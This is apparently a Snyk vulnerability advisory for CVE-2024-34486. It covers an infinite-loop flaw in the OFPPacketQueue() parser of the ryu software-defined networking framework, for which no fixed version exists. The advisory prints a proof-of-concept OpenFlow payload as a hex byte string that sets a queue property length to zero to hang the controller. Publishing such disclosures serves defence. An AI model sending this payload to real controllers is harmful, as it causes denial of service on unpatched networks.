Infinite Loop Affecting ryu package, versions [0,]
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (10th
percentile)
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Test your applications- Snyk ID SNYK-PYTHON-RYU-6809378
- published 7 May 2024
- disclosed 5 May 2024
- credit Unknown
Introduced: 5 May 2024
CVE-2024-34486 Open this link in a new tabHow to fix?
There is no fixed version for ryu
.
Overview
ryu is a Component-based Software-defined Networking Framework
Affected versions of this package are vulnerable to Infinite Loop in the OFPPacketQueue()
function in *parser.py
. An attacker can cause denial of service by sending data with OFPQueueProp.len
set to 0.
PoC
payload="\x04\x17\x00\x50\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x72\x00\x00\x00\x73\x00\x40\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x02\x00\x10\x00\x00\x00\x00\x03\x84\x00\x00\x00\x00\x00\x00\xff\xff\x00\x10\x00\x00\x00\x00\x00\x00\x03\xe7\x00\x00\x00\x00"
References
CVSS Scores
version 3.1